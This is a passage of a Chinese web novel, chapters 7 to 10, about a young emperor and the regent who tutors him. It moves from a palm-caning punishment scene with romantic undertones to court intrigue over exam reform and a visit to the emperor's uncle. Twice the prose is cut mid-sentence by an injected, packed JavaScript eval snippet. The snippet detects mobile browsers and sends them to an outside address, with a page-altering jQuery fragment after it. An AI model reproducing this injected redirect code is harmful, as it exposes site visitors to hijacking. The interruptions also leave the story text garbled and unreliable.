沈衡原话是:去看看陛下又被什么绊住了脚,走不动道了。 宋南卿迈动脚步快速离开,腰间的环佩相撞发出清脆悦耳的响声。 竹心看向那个端着木盘的小厮,问他都说了什么话,听到回话之后,露出了意味深长的笑容。 “公子既然说让你好好干,就好好干吧。” “小的多嘴一句,敢问那位公子什么来头啊?” 作为摄政王身边地位最高的随侍,能让竹心恭恭敬敬行礼的人倒是少见。 竹心道:“大有来头,恭敬着点,你以后不用做这些杂活了,书房缺个整理字画的人,你就到那儿去做事吧。” 7.第七章 外头天已经昏暗了下来,书房还点着灯,宋南卿穿过一道石子小路,到达了不远处的书房门口。 “吱呀——”一声,木门被推开了,正对着门的是一副山水画,墨色晕染的山水深深浅浅,如云又如雾。画前坐着的人身姿笔直,一袭长袍飘逸,刀削般的鼻梁高挺,为整张脸增添了几分立体与硬朗。 他端起茶杯轻抿了一口茶,锐利的目光投向站在门口的宋南卿,平时刻意伪装的温和眼神在此刻卸下了面具,犹如鹰隼盯着猎物,又好似只是随意一瞥。 明明他是坐在椅子上从下往上看的,但莫名就有一种居高临下的感觉,宛如一个等待了许久的猎人。 宋南卿被他这一眼看得直接腿软了,迈着虚浮的步子走到人跟前,却看见了桌子上放置的一柄皮拍。 黑色的板子上面包裹着厚厚的亮皮,不软不硬的材质是惩戒的利器,最让人心颤的是皮拍表面均匀分布了一颗颗的金属凸起,打在人身上势必会留下漂亮的点点印记。 宋南卿看到那个板子心里直打怵,在沈衡放下杯子之前,就殷勤地捧着杯托侯着了。白瓷杯底相撞发出清脆的声音,纤纤十指端着瓷器,竟是分不清哪个更莹白。 不知是因为紧张还是害怕,在把杯子放回去的时候,手下一个不稳,半杯茶水尽数洒在了少年的衣袍上。 “哎呀…”宋南卿小声惊呼,拿手捋着湿透的衣服,焦急地说:“朕得换个衣裳了,春见呢,快来人啊!” 他提着衣袍就往门外跑,刚打开木门,一只有力的手掌按在了他头顶的门上,“砰——”的一声巨响,门骤然关上。少年被紧紧禁锢在了门和沈衡之间,紧张地咽了咽口水。 感受到了身后的呼吸,宋南卿急促呼吸着小心翼翼认错,“我…我知错了,真的…呜下次不敢了!” 沈衡伸手把他脸侧散落的一缕头发往耳后掖好,平静的声音宛如暴风雨前的宁静。 “去里面,先把衣裳换了。” 柔软的榻上,少年弯着腿垂脸坐着,湿掉的外袍已经脱了下来,只穿了个半透中衣坐在那儿,莹玉般的小腿压在软毯上。那个皮拍就被扔在了他腿边,金属凸起反射着光。 他用脚踩住皮拍往旁侧踢了踢。 沈衡从别处拿着干净的衣服走来,看见他的小动作。宽大的衣袖垂落,皮拍被骨节分明的大掌握在了手里。 宋南卿身体微微颤抖,咬着唇肉请求道:“不要打手心好不好…今日已经弄痛了…”他摊开拍桌子拍红的掌心给沈衡看。 作为君主,他从小就被沈衡管的很严厉,他又是个贪玩的,不打记不住教训,犯错挨罚是天经地义,不过先生惩罚起人来真是一点都不会留情的,所以他真的怕得很。 这次明明说好在宫里读书,不再看那些乱七八糟的话本子,结果在凤栖楼被撞个正着,简直是想抵赖也毫无办法。 沈衡伸手,用皮拍抬起了他的下巴,拍子边角被柔韧的皮质包裹成圆角,就那么从他的脸颊轻轻划过。 “怎么罚你,还要听陛下的吗?” 忽然拉近的距离,磁性温柔的嗓音,不知道的还以为沈衡要替他披衣服,宋南卿心里默默谴责这个笑面虎。他早就不会被沈衡温柔儒雅的外表迷惑了,现在看起来一副商量的语气,其实骨子里是说一不二的个性。 他低头蹭了下沈衡的手腕,柔软又无辜的脸贴在皮拍侧面,小声说:“难道先生想打我的脸吗?那大臣们就都知道沈大人背地里喜欢体罚学生了。” 沈衡垂眼看见少年细腻微鼓的脸颊被皮拍戳出一个小窝,随着他抬指,皮拍撤离,那个小窝就变浅了一些。凑近了都能闻到宋南卿面颊上玫瑰膏子的淡淡香气,这个季节草长莺飞,空中容易有浮毛柳絮一类,娇气的小孩容易面颊过敏,这玫瑰膏子还是他专门找来的方子,这个季节涂最好,否则宋南卿出门风一吹就脸痒过敏满脸起小疹子。 沈衡把胳膊放下,淡淡道:“给我看看手怎么了。” 听到他语气有放松的意味,宋南卿忙不迭把右手手心举到他面前。跟沈衡骑马射箭磨出来的满手茧子不同,他手心白嫩光滑,中间有团粉红的痕迹,只是淡淡的粉色而已,再不看都快消散了,被他说的跟多严重一样。 沈衡用皮拍抬起他的右手颠了下,问:“痛吗?” 黑色的眼珠掺杂了一点琥珀色,看人的时候显得温柔,他今日在家穿的也简单,垂顺飘逸的衣袍显得动作随意。 宋南卿嘴角向下,可怜兮兮点头,上嘴唇那颗小小的唇珠微翘,透着鲜红。 “啪——!”皮拍毫无预兆地落在了手心,打的宋南卿手指颤抖,红彤彤的皮拍印子落在上面,还有伴有星星点点的梅花花瓣形状,一颗颗金属颗粒分布均匀,打在皮肤上留下了漂亮的印记。 宋南卿肩膀往上一耸,眼眶瞬间湿了,开头的疼痛忍过去后是又烫又麻的感觉,痛意朝外扩散,他手指蜷缩,把火辣辣的掌心贴在大腿柔软的布料上轻搓,试图驱散疼痛。 “呜……”少年低垂着头朝掌心吹气,要哭不哭地发出哼唧声,一副被欺负了的样子。 沈衡握着皮拍再一次把他的手挑起,这一次掌心的那团红色深了一些。宋南卿颤抖着手断断续续道:“不要……呜不要了。” “手伸直,还需要我再专门教你挨打的规矩吗?” 微微沉下来的声音引得宋南卿心跳不止,他抽泣了一下,两只手并起来,胳膊慢慢在胸前伸直,左手腕子上还挂着那串佛珠,右手掌心已经红成一团。 身下的软榻并不大,他已经跪到了边缘,脚背被垫子的那条棱挤压着,膝盖阵阵发软。 沈衡坐在他前侧,袖子整齐垂下没有一丝褶皱,手里的皮拍在少年掌心有一下没一下轻拍,引起人阵阵颤栗,不知拍子下一次重重落下会在何时。 “陛下知道今日错在哪儿吗?”沈衡问。 宋南卿微低着头,想了想道:“没有经过先生允许私自出宫,还、还去了不该去的地方。” “嗯。”沈衡淡淡应了一声,似乎对这个回答并不满意。 宋南卿胳膊举的有点酸,往下放松了一些后,手心又挨了一板子。这下子分量不算轻的皮拍被放在了他手心托着。 他眼眶含泪努力把手抬成标准的姿势,绞尽脑汁终于又想出来一个:“我骗先生说在宫里好好读书,其实根本没有。” “呜呜手好酸,卿卿真的知道错了…先生饶了我——” 细细的手臂看起来一掐就能掐断,佛珠挂在上面大小并不匹配。宋南卿手臂伸直举了半天,已经开始无力地抖动,更别提现在还在举着拍子。 但他还是不敢放下来,怯怯看了一眼那个皮拍后,软声开始求起沈衡来。 保护欲、惩罚欲、控制欲、征服欲,拿捏一个男人的心,这就是《凤栖楼待客培训指南》的核心要义。但上面也说了,不同的男人应对方法不同,比如有妻有妾的,和只有妻无妾的,就要使用不同的方法。 据宋南卿观察,沈衡院里是一个妻妾影子都没有,对付这种人最容易,但他还得进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952937|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步查证。 争夺之时以策略为先,这是沈衡教他的。只要能活下来,让摄政王为他所用,至于是用《战国策》还是《青楼待客培训指南》又有什么要紧,只要能达成目的就是了。 沈衡眼看着他眼神飘忽不知道神游到哪里去了,伸手掐了一把脸让他回神:“我说了,不喜欢卿卿有事瞒着我,十下,躲了加罚。” 柔嫩的脸颊肉被掐起一小团,瞬间就染上了红色,又滑又弹的脸肉简直比最上好的丝绸还要细腻。宋南卿脸被朝一侧扯,话说的含糊不清,脸皱成一团,但沈衡还是听懂了。 “写的了字,就是会痛一些罢了。”他抬手,韧性十足的皮拍扬起又落下,划破空气重重拍在了红彤彤的手心。 宋南卿发出短促的尖叫,手指忍不住蜷起挡住手心,被打的脚都勾起在榻沿上,红得更严重的不止手,还有他的脸。 拍子在他手背不轻不重抽了下,宋南卿呜咽着重新把手摊开,摆在人面前,胳膊不停打颤。 “啊!”又一次皮拍落下,宋南卿猛地把手收回,呼吸间都带上了可怜的意味,“痛…呜呜好痛,不要打了……” 他手心发胀发麻,急需降温,可是沈衡的板子又落了下来。在接连挨了三下重的之后,宋南卿终于受不了了,摇着头翻身想跑,脚还没落地就被沈衡抓了回去。 细细的脚腕被攥在手里往上拉,宋南卿软倒在榻上被拖了回去。在这种时候,什么御男十术什么接客指南,他脑子里只有讨先生开心让他放过自己这一条。 少年抱着靠枕哭的可怜,边哭边向沈衡认错:“对不起…呜呜真的知道错了,受不了了,下次再补完好不好呜呜求你了。” 沈衡抬指擦了擦他的眼泪,轻叹一口气,把人拉到自己怀里,对着哭得梨花带雨的小皇帝说:“好了,别哭了,小心等会儿眼睛疼。” 热热的湿帕子被绞好,沈衡展开帕子盖在了他的眼睛上轻轻擦拭。 “我没有瞒着先生,去凤栖楼是因为…”宋南卿坐在榻上还在轻轻抽泣,“因为听说凤栖楼的云岫一首筝曲天下第一,在我心里明明是先生筝弹得最好,所以我才要去看看,她到底是不是浪得虚名。” 沈衡嘴角轻抬:“是不是浪得虚名?” 宋南卿瞪大眼睛道:“没有先生弹得好,我是因为你肯定不会让我去那种地方,才瞒着你偷偷出来的。”他悄悄抱住沈衡的脖子把脸埋进去,“谁让先生最近那么忙,都没有空陪我。” 一点湿热的泪滴落,在沈衡脖颈处滑过。 沈衡轻闭了下眼,道:“你一个人出来,不安全,万一被有心之人注意到,我不放心,没有下次了。” 宋南卿没想到这才是他今日生气的最大原因,他还以为…… 胸膛左侧的心脏微微发紧,宋南卿攥住衣摆,一股暖流流淌过心脏,带着酸与涩,呼吸也发滞。但很快,他就恢复了正常状态。 沈衡的书房布置和他本人一样,清雅淡然,但古朴深色的木质家具又深藏厚重底蕴。二人坐着的榻旁边开了一个六角棱窗,正对着一棵粉色海棠,浅粉深粉交叠在一处,绿色的叶子承接在下方,在夜色中映衬着月色随风摇曳,透过窗口看宛如一副画般。 靠窗底下搁置了张桌子,上面放了一张筝,是制琴名师张大师所致,传闻他三年只做一把琴,还要看眼缘。 宋南卿靠在人身上被擦干了眼泪,他看见那把筝,突然问道:“先生有弹筝给别人听过吗?” 沈衡转头看他,问:“别人是指谁?” 8.第八章 粉白海棠沾染了露珠,在夜色中更显娇艳,不知何时已经伸到了窗户边上。花下的宋南卿抬手折了一枝,手指抚摸揉弄着花瓣,微微侧头道:“就是、为了讨别人开心,弹筝给人听什么的。”只着中衣让他显得弱不禁风,微风从窗口吹来,墨色发丝垂在脸庞摇曳。 沈衡关上了窗,风声止,室内寂静一片。 “没有。”他丝毫没有停顿道,站起身要去给宋南卿拿药膏。 还泛着潮红的手指又细又热,在沈衡刚迈出一步时抓住了他的手。沈衡低头,看见宋南卿抬眸望着自己,睫毛颤动,眸子里映出晃动的烛火影子。 “听说礼部侍郎要娶续弦了,他好像跟先生差不多年岁,这都娶第二个了。”宋南卿像随口一说,语气轻快。 沈衡“嗯”了一声,停在原地等他的下文。 宋南卿望着眼前人。宋氏一族皇室血脉有两大为世人追捧也可以说是诟病的特点,一是美貌迤逦,二是重色重欲。但他看沈衡的面容也不比这些皇室子弟差,尤其在烛光下看,气质高雅,鼻梁高挺,深邃的眼睛认真看向自己的时候,眼睛里只容得下他。一想到这样的先生要娶妻生子,像抱小时候的自己一样抱属于他的孩子,宋南卿就感觉一股无名的气郁结在心头。 “先生…打算什么时候娶妻?”宋南卿试探性问他。 沈衡被拉着的手感受到了从宋南卿皮肤上传来的热气,这股温度让人生燥。 他下意识往手腕处摸,才发觉自己的佛珠现在在宋南卿手上。他掌管着宫里礼佛之事,不是无欲才念佛,而是念佛才无欲。表面上禁欲不沾风雪,其实只是克己做的比较好罢了,佛珠是禁锢欲念的武器,念经是洗涤欲望的清流,早些年在战场打仗时杀欲重到不得不靠佛祖拉回,能止小儿夜啼的凶名也是那时传出来的。 沈衡手指微动,说:“陛下想臣尽早娶妻?” 宋南卿暗道不好。如果他娶了妻就要安定在府邸,肯定不能像现在这样进出皇宫没有任何限制,成家后权臣有了妻族势力加持,一定会被忌惮,这样权势也会被削减。何况沈衡是摄政王,娶妻一事更加敏感。 沈衡那么问,是在试探自己有没有想削权的意思吗? 宋南卿眸色微变,抱住沈衡的手臂凑近道:“才不是!” “不想先生娶妻……”他发音模糊,把头枕在人胳膊上说,“就不要,到时候你就更没时间陪我了,朕不同意!” 沈衡眸色深沉,看着在自己身上撒娇的人,说:“就算是陛下也没有干涉人私事的道理。” 宋南卿瞪圆了眼睛看他,放大了声音问道:“你是不是看上哪家小姐了?是谁?”如果真的有喜欢的人,他的策略就得变了。 “没有,过来点给你涂药。”烛光下,沈衡拿着药膏给宋南卿红肿的手心一点点擦拭。 宋南卿用打量的眼神看他,嘴唇微噘:“真的没有?” “没有。” “那先生今晚抱着我睡。” 沈衡动作一顿,语气带着一丝无奈:“你已经长大了…” 宋南卿摊着手晾药膏,低头说:“我昨夜一个人睡,又梦到被关在井里那夜了。” 二皇子逼宫血染皇宫,暴雨闪电交加,他被扔到枯井里自生自灭那一夜。带着血腥气味的雨水不断落下,他被血水和尸体慢慢淹没,那种冰冷到现在想起还会打冷颤。 沈衡晚来一步,他就活不到今天,会和那些死尸在一起,发烂发臭。 寝殿烛火熄灭,宽大的拔步床上,宋南卿裹着被子双眼紧闭,紧紧贴着沈衡的胳膊不松手,令人安心的淡淡檀香味道弥漫,整个人仿佛都放松下来。 他怕沈衡想要除掉他,但没有沈衡在身边他又睡不好,靠近是危险,远离又痛苦。 不谈权力、不谈纷争,还是只有在沈衡旁边,他才能睡得安稳。 ———— 前日御史王潜在青楼被抓一事,引起了群臣议论,在次日上朝,看见副御史陈立文站在了原来王潜的位子上,大家表面不说什么,背地里的讨论已经过了好几番了。 “还未祝贺陈御史升官,我那儿有两瓶珍藏的好酒,下了朝有空来我府里喝两杯?”兵部侍郎说。 陈立文看了他一眼,道:“喝酒误事,想必王潜也是因为饮酒才失了心智,去做了违反大盛律令的事。” 经王潜一事,去凤栖楼的官员明显寥寥无几了,谁都不想做第二个出头鸟。 随着一声铃响,宋南卿身穿朝服缓缓走上皇座,转过身时衣摆上的金色刺绣在阳光下熠熠生辉。 “众卿平身。”他把胳膊搁置在一边扶手上,眼神扫过站在下面的众大臣,尤其是仔细观察了下贾良的脸色。 “臣有本要奏。”陈立文成为御史台正使的第一天,就锋芒毕露。 “在前御史王潜被抓当晚,贾良大人之子贾士凯大闹凤栖楼,打伤了一众围观人员。他们因为贾公子的家世不敢声张,臣想请问贾大人,此举是否是您授意。” 此话一出,全场安静。 贾良是内阁首辅,更是皇帝的亲舅舅,百官之首。在此之前,未曾有任何人敢对贾大人有非议。因为朝中做官者大都是靠家世荫蔽,细说起来都有几代姻亲,在场官员没有几位是靠读圣贤书坐上这个位子的。 世家子弟在京城仗权势为所欲为不是一天两天了,他们之前之所以未讨论过这个问题,因为世家权力大,正是他们想要的。 但陈立文,不一样。 他不是什么世家子弟,他祖上家贫,在地里刨食吃。有一年大旱,地方官催收税费和收缴粮食,他们实在交不出来,陈立文的父亲被这个地方官手下打死立典型,这个县当时为凑够税费死了一大批人。陈立文,是大旱那年为表体恤之情,受了政策恩惠,科举进朝廷做官的。 但进了朝廷才发现,这里和当年的贫困县没有什么区别,都是有权柄的人只手遮天,为了利益视平民百姓生命于不顾。 不过正是因为他在这里举目无亲,才能当好言官无所顾忌。 “可知贾士凯是因何事大闹凤栖楼?”宋南卿问。 陈立文道:“据说是因贾公子花费数千两买下的花魁被他人夺取,他一气之下打伤凤栖楼管事,那人到现在还卧床不起。” 贾良目光浑浊,先一步跪倒在地请罪:“陛下,犬子犯错实是臣之罪过,那花魁一事臣略有耳闻,士凯说她长相与逝去亡母相类似,所以想助她脱离水火。只是方法用的不对,臣必将让他好好反省。” 宋南卿手指轻弹,道:“说起来朕也好久没见士凯了,他到了快参加科举的年纪了吧?” 贾良闻言嘴角微抬:“承蒙陛下关心,老臣定会督促他好好读书,报效朝廷。” “贾公子有报效朝廷的机会,可被他打断右手的平民之后却是没有这个可能了。”陈立文依然不依不饶。 “从王潜到贾士凯,官宦子弟靠着自身权力为所欲为欺压百姓,如不加约束,更多的王潜之流实属是危害朝廷的蛀虫。” 听他说这话,有人站出反对:“陈立文!别忘了你现在也是官宦的其中一员,别以为你是言官就可以想说什么说什么。” 宋南卿直视陈立文,问:“那你说,你有什么好提议。” “科举改制。”他目光锐利,“给平民更多机会,既能选拔出更多可用人才,也能给这些世家子弟危机感,让他们发愤图强不再不学无术。” 户部尚书第一个反对:“如果放开科举,场所修缮都是费用,此前东南抗倭,兵部已经欠了户部不少银子,怎么,大家今年还过不过了?” 但也有支持者:“朝廷目前确实是用人之际, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960228|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人尸位素餐不如严格选拔流程。” 贾良道:“户部确实拿不出太多钱款来,东南军需、工部建设都需要用钱,是臣能力有限,连独子都管不好,更何况管理户部呢。” 宋南卿看向沈衡。 沈衡淡淡道:“贾大人日理万机,能顾周全已经是不易,怎么能面面俱到,也别太苛责自己。” “陈御史的提议确实有可以考虑的地方,毕竟贾大人已年老,总有顾及不到的地方,朝廷确实需要新生力量来激发活力,可再完善交于礼部审议。” 宋南卿看他说起年老时,贾良明显变色的脸,努力忍住笑意道:“舅舅,朝廷缺谁都不能缺了您,近日许是太操劳,可以休息几日,注意身体。” ———— “哈哈哈哈哈——”宋南卿坐在秋千上笑得前仰后合,“你都没看见,贾良那个脸都变绿了,年老…哈哈哈哈年老!” 沈衡一抬手托住他的后脑勺防止人后仰过度摔倒。 “那个陈立文,确实敢说。”他对宋南卿道,“王潜怎么样了?” 宋南卿收敛了笑声,一脸懵懂:“在狱中关着呢,什么怎么样?” 沈衡刮了下他的脸蛋,没再说什么。 “科举改制,你怎么看?”他问。 宋南卿嗯了一声,说:“必须要改,但不能是我下令要改,先生可否指点一二。” 沈衡偏头,不说答应也不说拒绝,只问:“好处呢?” 他眉头微挑,俊朗的面容带上了一丝不正义也不端正的意味。 宋南卿往后仰头,坐在秋千上勾住人的袖子轻晃,“先生帮我不是应该的嘛。” 绳子带动下面的秋千前后摇摆,宋南卿双脚伸直荡来荡去,也勾着沈衡的袖子在风中摆动。 花园里的花都开了,翠绿的枝叶、粉红的花瓣还有鹅黄色的迎春花交相辉映,在人间四月天里,小皇帝在春意盎然的院子里荡着秋千,他眼睛转了转道:“上次从倭人那儿收缴的宝物先生有喜欢的吗?你上次说不要的呀!” 旁边的石桌造型奇特嶙峋,雕成了树根的形状,上面摆放着几个祥云纹白瓷果盘。宋南卿伸手摘下一颗晶莹饱满的紫色葡萄,薄薄的果皮被他细致剥开,绿色的葡萄肉被捏在指尖渗出甜蜜汁液。 他把剥好的葡萄递到了沈衡嘴边,太阳照射在前方池水中,波光粼粼的层层光影倒映在了他的眸子里。 沈衡低头把指尖的那颗葡萄含进了嘴里,酸甜的味道连同宋南卿指尖的香气一起让感官感受了个彻底。葡萄汁粘稠,粘在手指上被一同舔过。 “……够吗?”宋南卿懵懵仰头看他,视线移动到沾了汁液的薄唇上。不知怎么的,他突然觉得刚刚那颗葡萄好香,香的他嘴里开始分泌口水。他踮脚凑近了几寸,睫毛垂下,捻了捻残留着温热的触感的指尖。 “够了。”眼见宋南卿的脸快蹭到自己下巴了,沈衡抽出帕子给他擦拭着手指上的葡萄汁液,也挡住了一再缩短的距离。 真的好香,葡萄香,还有沈衡身上不知哪里发出的香气,可能是他又去佛堂了,可是佛堂里的味道又和这不一样。宋南卿低头看着自己的手指被帕子擦过,隔着一层布料,被沈衡的手包裹住,也能感受到他身上的温度。 “郗家自上次被贬,现在该是启用的时候了。”沈衡的声音平稳,出声提示道。 宋南卿思绪翻了几番,忽然眼睛一亮,“你是说!” “就是他。”沈衡眼中含赞许。 宋南卿道:“先生狡诈…” 沈衡摸了摸他的头,“你是我教的,不逞多让。” 得到这句不知是表扬还是提点的话,宋南卿心跳得比之前快了一些,他踮脚对着头顶温暖的掌心蹭了蹭,笑得骄傲又张扬: “要做先生最喜欢的学生,自当如此。” 9.第九章 散朝后,穿着官服的群臣相继往外走,重臣在前,没什么权力的大臣则落在后面。迈过午门后,周围官员几乎已经散尽了。三个年纪不算轻的人聚在一起,边往外走边轻声交谈。 “借着这种事都没能削弱贾良分毫,陛下到底还是偏向他的。”一个留着胡子的官员道。 “但陈大人能上台,就证明上面不是没有想要变的想法。” “陛下明年就加冠,该急的人现在自然急不可耐,如贺大将军那般都被贾良等人算计,更别提我等没有家世傍身,如若让他们架空陛下,就再也无出头之日了。” 正在谈论的档口,不远处春见捧着一托盘急忙赶来,笑着说:“陈御史,陛下感念您勇于直言,赏赐狼毫毛笔并砚台一副,希望您掌管御史台后仍能记得今日之勇,做好监督百官的咽喉。” 陈立文一愣,而后跪倒拜谢。 他身后二人相顾无言,但内心想法已如明镜。 宋南卿赏了弹劾贾良的陈立文,就不能不去安抚贾良。这日正值休沐,御驾驶出宫门,朝位于京城东北角的贾良府中去。 与沈衡府邸的清雅避世相类似,贾家也不住在繁华之处,只是府邸很大,是当初前朝贾贵妃得宠,先帝又把原本贾府旁边的宅子一并赏给了他,这是扩建后的样子。 宋南卿踩着木箱下马车,一下车正对面的是门口两个大石狮子,一派庄严之气。 他们刚停车,就有管家小厮应过来询问他们是干什么的。在看到春见手中的那块牌子后,管家忙不迭下跪磕头。 宋南卿挥挥手,“朕来看望舅舅,不用管那些排场虚礼。” 他先一步迈入贾府,身后跟着高大的侍卫,走路时脚下带风,头上系的蓝色飘带在空中轻轻飘荡。金尊玉贵的少年只是浅浅带了几个随从,也没穿金戴银,并没有皇帝出行那种一大群人乌泱泱围着的排场,但就是这简单的架势,却让人丝毫不敢轻视。 旁边小厮还未能从陛下亲临的惊喜中缓神,管家训斥道:“愣着做什么,快去通知老爷!” 进府先是一座很大的假山,周围树木环绕空气清新,宋南卿没管带路的人,只是随意走着,经过一间书房时听见了里面讲课的声音。 “克明俊德,以亲九族。这是上堂课留下的策论试题,收上来的答卷中阮羡之答的很有水平,你上来念一念给他们听。”贾良捋着胡子在讲台上道。 宋南卿从窗外看见一个穿着朴素的年轻人上台念起了自己的答卷,就帝王的品德修养如何影响国家和社会治理发表了论述,他听的入迷,也感到收获良多。 一袭布衣一卷宣纸,说出的不是冠冕堂皇的话,而是克己修身才能治国平天下的豪情壮志。 正听着,贾良的管家也赶到了。宋南卿不想打搅了这个课堂,跟他移到别处才道:“舅舅是在给人教课?” 管家弯腰回答道:“是,考试临近,老爷在家里设学堂,给一些去不了太学的学生补课教书,也算是成全这些上进学子的心愿。” 说话间贾良已经收到消息赶过来,见到陛下行了一礼。 宋南卿虚扶住他,道:“舅舅不必多礼,我只是路过正好进来看看。” 贾良对一旁的管家说:“怎么没请陛下去屋子里坐着,在外面被太阳晒着像什么话。” 宋南卿没发表什么意见,被带到大堂主座坐下。贾府里装饰的很低调,没有什么富丽堂皇之感,摆件也都不是什么名贵之物。他端起茶杯喝了一口茶,眉头微皱:“舅舅这是去年的茶吧?” 贾良放下茶杯,“想着陛下来,特意吩咐他们拿了最名贵的茶,忘了新旧,是臣的疏忽。” “管家,快去给陛下换杯来。” 宋南卿说不必了,他一边不动声色打量贾府的陈设,一边随口问道:“士凯呢?怎么没见他。” 贾良沉吟:“自那日臣听了陈御史的话,反思自己教子确实有疏漏,士凯自幼丧母,我也是没有狠下心来严格管教,所以才让他做出了许多错事。他受了三十板子现在还在跪祠堂,身上有伤未愈怕冲撞了陛下,故没让他过来。” 宋南卿摸着粗糙的白瓷杯,心里的疑虑并没有被打消。 从那日王潜被抓,他就审出了一些东西。敢买卖朝廷俘虏当私奴赚钱,私底下肯定还会有更多不为人知的事。但他今日来贾府却发现这府上十分节俭,不像是贪污受贿作风不端之人的府邸。 难不成,王潜那些真的只是他个人行为,贾良清清白白? “让他好生歇着便是,等好了再来请安也不迟,朕又未曾真的对他动怒。”宋南卿认真看着贾良道,“母亲去世后,您就是我唯一的亲人,士凯也是,我怎么会因为别人三言两语就迁怒他呢。” “那日朝上我想保舅舅,只是摄政王先发话,我也不敢驳了他的面子。”宋南卿言辞恳切,指尖摸着光滑的茶杯口。 贾良也在端详他,似乎在考量什么。 午时已到,门外管家派人来问要不要传膳,顺便在他身边耳语了几句。 贾良眉头微锁:“让她自己用饭便是,就说我这里有贵客。” 圆形的八仙桌上,是四荤四素。贾良低头说:“没想到陛下会来,都是按平常菜色做的。” 宋南卿看了一眼桌上的菜,随和道:“宫里菜吃腻了,正想尝尝这平常菜色。”窗外倒映着魏进他们镇守外面的影子,春见就在门口,况且这是在贾府,想来贾良还不敢在饮食中做手脚。 他拿起筷子,但举目四望也没看到一道自己想吃的,筷子在手里顿了顿,这一停顿,他发现筷子的不同之处。 像是平常木头做的筷子,触手却是不一样的分量,花纹也不是雕刻而是珍贵的蛇纹木本身纹路,筷子尾端镶嵌的银子浮雕精致立体,是花费大功夫制成的。 宋南卿面上不显,暗里已把桌上的餐具尽收眼底。 他用勺子挖着茶碗里的樱桃乳酪吃,就这道菜还可以一吃了,其他的他连尝都不想尝一口,做菜“色香味”,色占第一,桌子上又没鱼又没虾的就不说了,卖相也不好,跟宫里那些精致的菜色完全没法比,他怀疑贾良就是装给他看的。 “听闻那日贺将军庆功宴,陛下多吃了两口蜜煎樱桃,摄政王都不让?”贾良看着桌上的樱桃状似无意提起。 宋南卿点头,心想那是因为他牙疼,沈衡关心他才不让吃多的。 “老祖宗是有食不过三的规矩,但摄政王有时候过于刻板不知变通,对陛下而言不是一件好事。” 宋南卿眨了眨眼,神色微动:“但沈先生是先皇指定的辅佐帝位的人选,朕实在不敢忤逆。且他掌握禁军,还有北方科尔沁一族,就算有时刻板,作为学生也不敢多说引起他不快。” 宋南卿睫毛轻扇,唯唯诺诺的样子完全就是个十几岁小皇帝无人庇佑怕东怕西的样子。 见他这样,贾良转变了身份,以舅舅而不是老臣的语气说:“陛下就快加冠了,如果一直受摄政王掣肘也不是个办法,朝中须有人帮你。” 宋南卿抬眼,像找到依靠一样望向贾良:“希望舅舅指点一二。” 贾良放下筷子 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宋南卿忙点头,举着勺子对他说:“我还想再吃一个乳酪,舅舅还有吗?” 贾良看他一眼,又看一眼,心里暗暗摇头,说:“有,陛下稍等片刻。” 等贾良一出,宋南卿把勺子举起对准了天光,在翻转之间看见了明显的玳瑁花纹,他垂眸思考:今天来贾府事出突然,贾府下人看来是换了一批餐具,将原本的金银玉器换成现在这木头等不起眼的东西,殊不知就是这些不起眼的东西,却也是价值珍贵的很。 “刚刚闲逛,路过旁边那道门里面是锁着的,你知道那是何地吗?”宋南卿问一旁贾府的下人。 那人见是圣上发问,忙不迭回答道:“听说是之前府上小姐的住所,长久不用就锁上了。” “没听说舅舅有女儿啊?”此话一出,刚好碰上贾良回来。听明白了前因后果,贾良冷冷看那下人一眼,微笑着想搪塞过去。 宋南卿先一步发问:“我母妃之前在这儿住过,我能去她的住处看看吗?昨夜母妃托梦,说生前舅舅照顾她颇多,所以朕今日才未告知就上门,也是为了还母妃心愿。” 不只是哪点触动到了贾良,他表情微变,给宋南卿带了路。 “之前有下人笨手笨脚打碎了贵妃娘娘的花瓶,为了保留她闺房的样子,我之后就令人封存起来,没人进来过了。”贾良让人打开大门,“所以可能有些灰尘。” 大门一开,不算大的房间照进了第一缕阳光,空气中的尘埃在光线下飞舞,宋南卿深深打了一个喷嚏。 “我进去就行了,你们别跟来了。”宋南卿看着屋里属于旧时光的陈设,心上忽然像被什么触动了一般。 ———— “爹,圣上来府,我要不要跟他请个罪啊,那御史实在可恶参我一笔,待来日我入朝圣上对我印象不好怎么办啊!”贾士凯急的到处走,围着贾良团团转。 贾良喝了一口上好的碧螺春,杯里茶汤清正,他沾了茶水的胡子抖了抖,“我跟圣上说了你挨了板子在跪祠堂,别到他跟前去被看见了。” “!爹还是你有法子!” 贾良沉吟道:“我可是圣上的亲娘舅,你也算他亲兄弟,有什么可怕的,往后他要想皇位坐的安稳,还得靠我们。” 贾士凯在椅子上坐下来,“可是,我怕弹劾的多了,陛下会疏远咱们。” 贾良想了想宋南卿今日的表现,哼笑一声,“想必沈衡也没怎么好好教他为君之道,我儿且放宽心,有爹在,必让你平步青云。” 10.第十章 窗纱拉开,阳光透进来,宋南卿才看清了这房间的全貌。不算大的一张床上放着两个枕头,房间里弥漫着阴湿发霉的味道,连红色的床幔如今也已经褪色成发黄的样子。斯人已逝,连她曾经住过的房间也像是陪她去了。 宋南卿对母亲的印象不算很多样,自他出生起贾贵妃就没了曾经的圣眷优渥,他印象中的母亲总是低垂着头替别人洗衣服,爱流泪但也没抱怨过老天不公。她尽自己所能好好保护自己,但有时在倾盆大雨下,那一个小小的芭蕉叶实在是遮挡不住多少雨和电。 